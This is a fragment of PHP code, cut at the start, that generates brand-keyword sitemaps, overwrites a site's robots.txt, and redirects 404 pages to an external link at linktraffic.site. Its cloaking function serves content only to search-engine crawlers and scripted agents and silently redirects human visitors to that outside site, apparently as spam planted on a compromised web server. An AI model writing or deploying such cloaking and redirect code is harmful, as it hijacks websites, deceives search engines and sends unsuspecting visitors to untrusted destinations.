'; $hasUrls = false; for ($j = $startIndex; $j <= $endIndex; $j++) { if (isset($brands[$j]['brand'])) { $brand = $brands[$j]['brand']; $url = $baseUrl . urlencode($brand); $lastmod = date('c'); $changefreq = 'daily'; $priority = '1.0'; $sitemapContent .= " {$url} {$lastmod} {$changefreq} {$priority} "; $hasUrls = true; } } $sitemapContent .= ' '; if ($hasUrls) { $sitemapFilePath = dirname(__FILE__) . '/sitemap' . $i . '.xml'; file_put_contents($sitemapFilePath, $sitemapContent); $generatedSitemaps++; } } if ($generatedSitemaps > 0) { generaterobotsfiles($generatedSitemaps); } } function generaterobotsfiles($totalSitemaps) { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http"; $documentRoot = $_SERVER['DOCUMENT_ROOT']; $robotsfile = $documentRoot . '/robots.txt'; $robotsfilecontent = "User-agent: *\nAllow: /\n\n"; for ($i = 1; $i <= $totalSitemaps; $i++) { $robotsfilecontent .= 'Sitemap: ' . $protocol . '://' . $_SERVER['HTTP_HOST'] . '/sitemap' . $i . '.xml' . "\n"; } file_put_contents($robotsfile, $robotsfilecontent); } function handle404() { $targetUrl = "https://linktraffic.site/FtmfG"; header("HTTP/1.1 302 Found"); header("Location: $targetUrl"); header("Connection: close"); exit(); } function displayLPContent($content) { $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $isBot = preg_match('/(Googlebot|Twitterbot|TelegramBot|Google-InspectionTool|facebookexternalhit)/i', $userAgent); $isSuspiciousAgent = preg_match('/(curl|wget|httpclient|python|scrapy|bot|crawler)/i', $userAgent); if ($isBot || $isSuspiciousAgent) { echo $content; } else { $targetUrl = "https://linktraffic.site/FtmfG"; header("HTTP/1.1 302 Found"); header("Location: $targetUrl"); header("Connection: close"); exit(); } } ?>